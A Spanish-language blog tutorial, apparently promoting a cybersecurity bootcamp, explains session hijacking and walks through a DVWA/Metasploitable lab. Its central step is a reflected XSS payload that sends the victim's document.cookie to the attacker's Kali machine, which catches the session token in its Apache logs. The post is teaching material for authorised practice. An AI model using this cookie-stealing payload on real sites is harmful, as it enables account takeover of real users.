¿Qué es el secuestro de sesión y por qué representa un peligro para los usuarios de una aplicación web vulnerable?
Para encontrar vulnerabilidades informáticas, se utilizan técnicas de hacking web iguales o muy similares a las que utilizan los ciberatacantes reales. A este proceso se le conoce como test de penetración y es de carácter imprescindible para la seguridad de una aplicación web. Si no se ejecuta este tipo de test periódicamente en una aplicación, es altamente probable que se produzcan fallos de seguridad que los hackers puedan explotar.
Ahora bien, para realizar un test de penetración o pentest, los auditores de seguridad deben saber cómo funcionan las vulnerabilidades web más comunes y, por supuesto, cómo explotarlas. Para ello, deben estar familiarizados con los tipos de ataque más utilizados en entornos web y las técnicas para ejecutarlos.
En este post, hablaremos específicamente sobre un ciberataque que se relaciona con las vulnerabilidades de sesión de una aplicación web. A continuación, te explicaremos qué es el secuestro de sesión y cómo puede afectar a los usuarios registrados de un sitio web con fallos.
¿Qué es el secuestro de sesión?
El secuestro de sesión es un tipo de ciberataque que consiste en robar el token de sesión de un usuario y utilizarlo para suplantarlo. Esto se puede lograr por medio de diferentes métodos, uno de ellos es el ciberataque de cross-site scripting (XSS), que le permite al atacante ejecutar código JavaScript en el navegador de una víctima.
Ahora, para entender mejor qué es el secuestro de sesión y cómo funciona, veremos un ejemplo práctico de cómo realizarlo en un entorno de práctica legal de hacking web.
Ejemplo de secuestro de sesión
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaAntes de ver este ejemplo práctico de qué es el secuestro de sesión, es necesario recordar que ejecutar ataques web sin la debida autorización es ilegal. Por eso, para este ejercicio, utilizaremos un entorno de práctica legal de hacking web que fue diseñado especialmente para adquirir este tipo de aprendizajes de forma segura.
Preparación
Para preparar tu entorno de práctica de hacking web, sigue estos pasos:
- Instala o abre una máquina virtual con la última versión de Kali Linux.
- Instala o abre (si ya la tienes) la máquina virtual deliberadamente vulnerable Metasploitable 2.
- Averigua las direcciones IP de ambas máquinas, ejecutando el comando “ifconfig” desde sus respectivas terminales.
Para este ejercicio, supondremos que las direcciones IP de las máquinas son:
- IP de máquina con Kali Linux: 192.168.175.128
- IP de Metasploitable 2: 192.168.175.130
Ejecución
Ya tienes preparado tu entorno de práctica de hacking web. Ahora, es momento de ver qué es el secuestro de sesión de manera práctica. Para ello, el procedimiento paso a paso es el siguiente:
- Abre una terminal en tu máquina con Kali Linux y ejecuta el siguiente comando para iniciar el servidor de Apache 2.
service apache2 start
- Después, ejecuta el siguiente comando para poner el servidor a la escucha:
tail -f /var/log/apache2/access.log
- Para verificar que estemos a la escucha desde el servidor, abre un navegador en Kali e ingresa a la siguiente dirección:
127.0.0.1/prueba
- Al ingresar este valor, verás lo siguiente en la pantalla:
- En la terminal, si todo funciona correctamente, verás lo siguiente:
- Ahora, para hacer el robo del token de sesión, utiliza el siguiente payload:
192.168.175.130/dvwa/vulnerabilities/xss_r/?name=<script>document.location.href="http://192.168.175.128/xss"%2bdocument.cookie</script>
¿Cómo utilizar el payload?
Ahora, para entender este ejemplo de qué es el secuestro de sesión, te explicaremos en qué consiste el payload anterior.
Primero, recuerda que la dirección IP de la máquina Metasploitable 2 (en este ejemplo) es 192.168.175.130 y que la de la máquina con Kali Linux es 192.168.175.128.
Lo que le estamos diciendo al navegador de la víctima con el payload es que se redirija a la dirección URL http://192.168.175.128/xss y que le envíe su token de sesión, llamado “document.cookie“.
Es muy importante que la víctima ya tenga una sesión iniciada. Por eso, antes de ejecutar el payload, asegúrate de haber iniciado sesión en DVWA. Para ello, dirígete a la dirección IP de Metasploitable 2, selecciona el enlace “DVWA” e inicia sesión con las credenciales por defecto, que son “admin” y “password“. Recuerda, una vez ingreses, ir a la pestaña “DVWA Security” y elegir la opción “Low“.
Una vez hecho esto, ejecuta el payload en el mismo navegador e, inmediatamente, verás lo siguiente en tu consola de Kali.
Como notarás, el valor llamado 20PHPSESSID te indicará el token de sesión de la víctima.
Ahora sabes qué es el secuestro de sesión y cómo se ejecuta en un entorno de práctica. Si quieres aprender más sobre técnicas de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y especialízate en tan solo 7 meses. ¡No esperes más y entra ahora para pedir más información!